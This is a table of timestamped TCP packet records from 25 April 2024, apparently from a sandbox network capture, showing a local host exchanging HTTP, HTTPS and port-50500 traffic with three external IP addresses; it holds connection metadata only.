Apr 25, 2024 16:29:13.190196037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190217972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190231085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190243959 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190253019 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190284967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190351009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190365076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190378904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190398932 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190418005 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190499067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190514088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190526962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190541029 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190550089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190555096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190571070 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190582991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190584898 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190602064 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190607071 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190628052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190653086 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190712929 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190747976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190759897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190794945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.190924883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190938950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190952063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190967083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.190974951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.191001892 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.191004038 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.191041946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.191518068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.191553116 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.192106962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192559004 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192573071 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192584991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192589998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.192599058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192611933 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192625999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.192627907 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192642927 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.192643881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.192662001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.192691088 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193016052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193030119 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193043947 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193048954 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193058014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193079948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193109989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193165064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193180084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193200111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193228006 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193332911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193347931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193381071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193519115 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193533897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193547010 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193559885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193564892 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193573952 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193583965 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193617105 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193705082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193717957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193731070 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193749905 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193767071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193871975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193886995 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193898916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193921089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193926096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193938971 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.193953037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.193985939 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.194055080 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194068909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194081068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194094896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194104910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.194124937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.194188118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194205046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194217920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194236994 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.194255114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:13.194354057 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194370031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:13.194402933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:14.826050043 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:14.826745033 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:16.057451010 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:16.347327948 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:16.863867998 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.063179970 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.063263893 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.064011097 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.259874105 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.260129929 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.260169029 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.260195971 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.260226965 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.262517929 CEST	49712	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.263748884 CEST	49713	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.458712101 CEST	80	49712	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.462280989 CEST	80	49713	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.462377071 CEST	49713	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.462755919 CEST	49713	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.666544914 CEST	80	49713	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.666676998 CEST	80	49713	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.666691065 CEST	80	49713	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.666802883 CEST	49713	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.667222023 CEST	49713	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.667737007 CEST	49715	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.863409042 CEST	80	49715	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.863528013 CEST	49715	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.863883018 CEST	49715	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.865099907 CEST	80	49713	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.866071939 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.866159916 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:17.866240025 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.867017031 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:17.867031097 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.059668064 CEST	80	49715	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.059731007 CEST	49715	80	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.274888039 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.274981976 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.291460037 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.291480064 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.291697025 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.291784048 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.292917013 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.340118885 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.706784964 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.706852913 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.706880093 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.706923962 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.904362917 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904381990 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904431105 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904472113 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.904486895 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904547930 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.904664993 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904683113 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904745102 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:18.904752970 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:18.904783964 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.102387905 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.102416039 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.102593899 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.102607965 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.102653027 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.102801085 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.102818966 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.102868080 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.102874994 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.102910042 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.103322029 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.103338957 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.103384972 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.103390932 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.103427887 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.300157070 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.300179958 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.300251007 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.300266027 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.300302029 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.300585032 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.300601959 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.300645113 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.300652027 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.300681114 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.300689936 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.301060915 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301076889 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301130056 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301131010 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.301141977 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301187038 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.301187038 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.301498890 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301537037 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301557064 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.301562071 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.301583052 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.301606894 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.302119970 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.302134991 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.302166939 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.302216053 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.302222013 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.302269936 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.302819014 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.302834988 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.302900076 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.302906990 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.302944899 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.497807980 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.497838974 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.497895002 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.497906923 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.497937918 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.497951984 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.498265028 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.498286009 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.498313904 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.498318911 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.498347044 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.498362064 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.498908997 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.498929024 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.498967886 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.498972893 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.499002934 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.499593973 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.499608994 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.499655008 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.499660015 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.499689102 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.500185966 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.500209093 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.500248909 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.500253916 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.500281096 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.500726938 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.500750065 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.500782013 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.500787973 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.500812054 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.500828981 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.501280069 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.501307964 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.501341105 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.501347065 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.501367092 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.501384974 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.501672029 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.501688004 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.501722097 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.501727104 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.501755953 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.502198935 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.502217054 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.502255917 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.502259970 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.502285957 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.502307892 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.502696037 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.502717018 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.502747059 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.502753973 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.502784014 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.502798080 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.503710032 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.503729105 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.503757954 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.503762960 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.503793955 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.504281044 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.504306078 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.504359007 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.504364014 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.504395008 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.547488928 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.547511101 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.547575951 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.547585964 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.547621965 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.696077108 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.696104050 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.696144104 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.696156025 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.696181059 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.696197987 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.696805000 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.696820021 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.696880102 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.696887970 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.696917057 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.697482109 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.697499037 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.697587967 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.697593927 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.697624922 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.698084116 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.698102951 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.698131084 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.698136091 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.698159933 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.698184013 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.698584080 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.698600054 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.698676109 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.698682070 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.698714018 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.699145079 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.699162006 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.699188948 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.699193954 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.699218988 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.699244022 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.699702024 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.699714899 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.699767113 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.699773073 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.699800014 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.700253010 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.700268030 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.700320005 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.700325966 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.700351954 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.700850964 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.700867891 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.700911045 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.700917006 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.700943947 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.702100039 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.702121973 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.702167988 CEST	49717	443	192.168.2.5	185.199.220.53
Apr 25, 2024 16:29:19.702172995 CEST	443	49717	185.199.220.53	192.168.2.5
Apr 25, 2024 16:29:19.702213049 CEST	49717	443	192.168.2.5	185.199.220.53
